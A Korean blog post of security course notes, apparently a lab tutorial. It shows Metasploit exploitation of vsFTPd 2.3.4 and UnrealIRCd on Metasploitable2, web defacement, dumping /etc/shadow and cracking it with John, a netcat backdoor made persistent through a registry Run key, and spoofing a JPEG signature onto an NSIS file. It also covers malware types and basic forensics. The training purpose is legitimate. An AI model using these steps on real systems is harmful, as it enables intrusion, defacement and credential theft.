본문 바로가기
시스템, 네트워크 보안

시스템 / 네트워크 보안 [세 번째 정리]

by 할 수 있다 ! 2024. 3. 7.

두 번째 게시물 정리 내용

 

* 취약점을 점검하는 단계

 

1단계) 기본 스캔

 

- Ping scan : 시스템에 On/Off 여부를 판단  ----> 불필요한 시스템이 켜져있는지, 몇대가 사용중인지 등 파악

- TCP scan / Stealth scan / OS scan : 열린 포트와 운영체제 등 확인

- FIN scan / Null scan / X-mas scan : 공격자들이 보안 솔루션 유무를 확인함 ----> 보안 관제시 자주 보임

- Version scan / All scan : 취약한 버전이 설치되어 있는지 확인한다.

 

2단계) 구글 검색

- 취약점 번호 (CVE-YYYY-NNNN)등을 구글 검색을 통해서 확인 가능하다.

- 취약점 제보사이트 :  https://www.exploit-db.com/   (가장 최신 정보 확인)

- 1단계에서 확인한 버전에 취약점이 존재하는지 확인할 수 있습니다.

 

3단계) 상세한 스캔 단계

- Nmap 등의 취약점 분석도구에서 제공하는 취약점 전용 스크립트   ex) /usr/share/nmap/scripts

- 스크립트를 활용해서 세부적인 진단    ex)  find  .  -name  "*[키워드]*"  , [키워드]에는 CVE, Service, 취약점 등 입력한다.

 

4단계) 검증 및 테스트

- 취약점이 실제 Exploit가 가능한지를 검증하는 단계

- 어떤 경우에는 시연을 해야할 수도 있음

 

* Metasploit를 이용해서 취약점 Exploit

- VMware를 2개 켜서 Kali Linux와 Metasploitable2를 부팅합니다.

- ifconfig  또는 ip addr 명령을 이용해서 IP주소를 확인합니다.

- Kali Linux : 192.168.5.128,   Metasploitable2 : 192.168.5.130          (IP주소가 다르면 메모)

 

* Metasploit 소개

- H.D. Moore가 Perl script로 취약점 분석 스크립트를 만든다. ----> 에러가 너무 많음...

- Rapid7이라는 보안 회사에서 Metasploit 프로젝트를 인수 (유료버전, 무료버전을 영원히 제공하겠다고 약속)

- Rapid7에서 Ruby script로 재작성 ---> 에러가 확 줄어든다.

- Metasploit Framework (무료버전) : 리눅스, 윈도우용 두가지 배포

- Windows용을 설치하면 취약점 스크립트를 악성코드로 인식하는 문제 --->  삭제됨

- 리눅스용 권장, 설치가 복잡해서 Kali Linux에 설치된 것을 사용하면 편리하다. 


세 번째 정리

 

0) 준비단계

피닉스icon > 08 Exploitation Tools > Metasploit Framework                  // 최초1회는 DB생성, 목록작성 등 초기단계

msf6> 나오면 준비완료!!!

 

1) vsFTPd 2.3.4 취약점에 대한 검증

 

msf6>  search  vsftpd                                // Exploit할 모듈을 검색

   결과에 auxiliary로 시작하는 스크립트는 보조모듈,  exploit로 시작하는 스크립트가 진짜 공격 모듈임

msf6> use  1                                    // 모듈 장착

msf6> info                                       // 모듈에 대한 설명을 확인

msf6> set  rhost  192.168.5.130                // rhost : target host (Victim : Metasploitable2-linux의 IP 입력)

msf6> exploit

결과 : Command shell session 1 opened  -----> 쉘을 열었음 (성공!!!)

Victim host의 Shell을 사용할 수 있는 상태

whoami

pwd

 

echo "You are hacked">>/var/www/index.html                // index.html 파일을 생성하고 거기에 텍스트를 추가

chmod  777  /var/www/index.html                                // root권한으로 만들어서 일반사용자는 읽을 수 없음

rm  /var/www/index.html

 

echo "You are hacked">>/var/www/index.php                 // 홈페이지 맨 아래에 한줄 추가됨

접속을 끊으려면 ctrl +c

msf6 (          모듈명            ) > back                            // 모듈장착이 해제됨

msf6>

 

2. IRC 취약점에 대한 Metasploit 검증하기  ( search ---> use --> info ---> set rhost --> exploit )

search를 하면 많이 나옴 ---->  search  CVE-.......            // 정확한 모듈을 찾아야 함 : CVE코드 가장 정확

 

 

msf6 > search  irc                          // 26개

msf6 > search unrealirc                   // 서비스 이름으로 검색 ---> 여러개 나올 수 있음

msf6 > search cve-2010-2075           // 취약점 코드 CVE를 넣으면 가장 정확함

msf6 > use 0

msf6 > set  rhost  192.168.5.130

msf6 > exploit                                 // 에러 나옴

A payload has not been selected.         // 에러 메시지 : payload가 선택되지 않음

msf6 > show  payloads                      // 현재 모듈에서 사용 가능한 페이로드 목록을 보여줌

    (Perl은 HD Moore가 초기에 만듦, Ruby는 Rapid7에서 새로 만듦 ----> Ruby가 더 안정적)

    (Bind는 Attacker가 Victim쪽으로 접근,  Reverse는 Victim이 Attacker에게 접근)

msf6 > set  payload  3                         // payload/cmd/unix/bind_ruby를 선택함

msf6 > exploit

Command shell session 2 opened  (성공!!)   ----> 두번째 세션이 열렸다는 의미임

 

echo  "You  will  die" >  /var/www/index.html                         //  >를 1개만 쓰면 덮어쓰기, >>는 이어쓰기(추가)

chmod  777  /var/www/index.html

echo "<font color=red>You will die</font>" > /var/www/index.html

echo "<h1><font color=red>You will die</font></h1>" > /var/www/index.html

 

echo "<body bgcolor=black><h1><font color=red>You will die</font></h1></body>" > /var/www/index.html

echo "<body bgcolor=black><h1><font color=pink>Congratulations!!</font></h1></body>" > /var/www/index.html

 

* Metasploit 설정을 잘못한 경우

set  paylod   [잘못된 페이로드]

unset  payload                                  // 다른 페이로드로 바꾸고 싶을때, 장착 해제, 페이로드 이름 안써도 됨

 

set  rhost   [잘못된 IP입력]

unset  rhost                                      // IP주소 설정해제

set  rhost   [올바른 IP입력]                   // 다시 올바른 IP주소 입력

 

show  payloads                               // 조회할 때는 반드시 복수로, 페이로드는 여러개이므로

set  payload  [페이로드 이름]              // 설정할 때에는 반드시 단수로, 하나만 장착할 것이므로

 

show  options                                // exploit 하기 직전에 전체적으로 설정이 잘 되었는지 점검하는 명령

sessions  -i                                    // 현재 연결된 세션의 개수를 확인할 때

 

* 악성코드의 종류

1. Virus : 정상파일에 추가로 붙거나 일부 수정되기도 함

   ex) hwp.exe 라는 파일이 용량이 100kbytes라고 합시다. Virus에 걸리면 용량이 증가함.  120kbytes가 됨.

2. Worm : 독자적인 파일 형태로 동작, 스스로 메일을 보내기도 함. 트래픽을 많이 발생시키도 함.

   ex)  svchost.exe , nimda

3. Backdoor : Victim쪽에서 포트를 열고 접속을 기다림.  Attacker -----> Victim

   ---> Backdoor를 통해서 접근하면 공격자에게 root 권한이 주어짐

4. Trojan horse (트로이 목마) : Attacker가 포트를 열고 기다림.  Victim ----> Attacker

   ---> 방화벽을 우회하기 위해서 사용함

 

* Trojan horse

1) 속임수 : "이메일로 입사지원합니다. 이력서 첨부합니다."  "귀하의 블로그에서 저작권 위반 이미지를 사용"

2) 첨부파일 : 비밀번호가 있는 압축파일을 풀면 악성코드가 들어있음 (악성코드는 통신 기능이 있음)

3) 외부 연결 : 악성코드의 네트워크 기능이 실행되면서 공격자 컴퓨터와 연결이 됨 ---> 자료 유출 또는 원격 조종

 

* 파일 시그니처 (File Signature)

- 파일의 맨앞에 확장자 고유의 표시로 시작

- 파일의 정체성을 의미함

- JPG 파일 : ÿØÿà  =  FF D8 FF E0

- PE (exe등) : MZ  =  4D 5A

- 압축파일(zip, pptx, xlsx, docx, apk) : PK = 50 4B

- 악성코드인지 확인하기 위해서는 실제 파일의 시그니처를 확인해야 함

 

NSIS 파일은 열리지 않습니다. 어떻게 해야 사진이 열릴까요?

- 기존사진 : FF D8 FF E0 00 10 4A 46 49 46

- NSIS      : FF D8 FF E0 00 10 4A 46 49 46

기존 사진에서 FF D8 FF E0 00 10를 블럭설정해서 오른쪽 마우스클릭하고 복사를 한 후에

NSIS를 HxD로 열고, 맨 앞에 커서를 놓고 오른쪽 마우스를 클릭한 후, 삽입으로 붙이기를 해서 FF D8 FF E0 00 10 를 추가해줍니다.

다른이름으로 저장하면서 jpg 확장자를 붙여줍니다.

 

* 바이러스토탈

- https://www.virustotal.com/

- 악성코드인지 아닌지를 확인시켜줌

- 전세계 Anti-Virus 회사들과 API로 연결되어 있음 (Anti-Virus Portal site)

- 몇몇 회사에서 탐지를 못하더라도 다른 회사들을 통해서 악성코드 여부를 확인시켜준다.

 

1) 윈도우에서 해시값을 구하려면 해시함수 계산기를 이용

https://cafe.naver.com/boanworld/106 에서 fasthash_kr.zip 파일을 다운로드 합니다.

파일 > 파일읽기 > ...  > (파일 선택) > 열기 > 실행 -----> 해시값 나옴

 

2) Kali Linux에 들어있는 악성코드로 테스트 해보기

$ cd  /usr/share/windows-binaries

$ md5sum  klogger.exe

   해시값을 복사해서 virustotal의 Search에 넣고 엔터   ----->   69개 업체중에 59개 업체에서 악성코드로 판단

$ sha1sum  plink.exe

$ sha1sum  nc.exe                          // Netcat이라는 아주 유명한 해킹도구

 

* 악성코드 중에 레지스트리에 등록을 해놓고 부팅할 때마다 시작되도록 만들 수 있음

HKLM\Software\Microsoft\Windows\CurrentVersion\Run 에 등록을 해놓으면 부팅할 때마다 실행됨

   nc  -l  -p  7000 -d             // 7000번 포트를 열고 대기 ----> 백도어

 

* 윈도우 시스템 조사

- Sysinternals 파일 다운로드 경로

https://learn.microsoft.com/en-us/sysinternals/downloads/

  sysinternals suite를 클릭해서 다운로드 받고 압축을 푼 다음, 압축 푼 폴더를 잘라내기 해서 C:\ 아래에 붙여넣습니다.

 

명령 프롬프트를 켜고

cd \

cd  sys<tab>

date  /T                         // 컴퓨터의 현재 시간을 확인 ----> 시간이 조작되었는지 확인

 

* 윈도우 프로세스를 실시간으로 확인하는 명령

cmd>  procexp

   ----> Process Explorer를 이용하면 실시간으로 프로세스 목록을 확인할 수 있음 (2초에 한번씩)

 

* 해킹당한 윈도우를 조사할 때 유용하게 활용 가능

 

* 3가지 : 거북목, 터널증후군(손목), 허리디스크(다리꼬기금지)

   ---> 플랭크 추천

 

* MAC Time

- Modify time : 파일이 수정된 시간 -----> 포토샵, 그림판 등으로 수정한 시간

- Access time : 파일에 접근한 시간 -----> 실행했거나 사용한 시간

- Create time : 파일이 생성된 시간 -----> 언제 다운로드 했는지 확인

 

  Quiz) Create time보다 Modify가 앞설수 있다????   Yes or No

   ----> 사진을 찍음(Create) ---> 포토샵 수정(Modify) ---> 내 컴퓨터에 다운로드(Create)

 

* Forensic Center

- 대검찰청 옆, 경찰청 ===> 압수수색을 통해서 획득한 증거 (HDD, SSD, 휴대폰 메모리 등) 

- 지워진 사진등 파일 복원/복구, MAC time을 찾아보기도 함

- 범죄 증거를 법정에 제출하는 방식

 

* 스마트폰에 있는 시간 : 찍은 이후 수정하면 수정시간이 표시됨

  스마트폰의 특징 : 사진을 수정하면 원본사진은 숨기고 수정된 사진을 다른 파일로 저장하고 수정된 사진만 보여줌

  ----> 용량을 차지하지만 시간이 지나서 공간이 모자라면 덮어쓰기 된다. 

 

실습사전준비) Metasploitable2에서 계정 생성

$ sudo  pwd

$ sudo  adduser  blackpink

        icecream

        icecream

 

$ sudo  adduser  ive

        lovedive

        lovedive

 

$ sudo  adduser  lesserafim

        fearless

        fearless

 

$ sudo  adduser  bts

        dynamite

        dynamite

 

실습) Kali에서 Metasploit를 시작할 때

$ sudo  msfconsole

search  vsftpd

use  1

set rhost  192.168.5.130

exploit

 

cat  /etc/passwd

root ~~~~ bash 까지 블럭설정하고 오른쪽 마우스 눌러서 copy selection

새탭을 열고

$ sudo  vi  passwd

     (PW : kali)

Edit > paste  clipboard

:wq

 

(다시 Metasploit화면으로 와서)

cat  /etc/shadow

root ~~~~  :::까지 블럭설정하고 오른쪽 마우스 눌러서 copy selection

아까 그 탭으로 이동

$ sudo  vi  shadow

  Edit > paste  clipboard

:wq

 

$ sudo  unshadow   passwd   shadow  >  pass.1

$ sudo  john  pass.1

  -----> PW가 좌르륵~~~ 나옴 (     )안이 계정이다.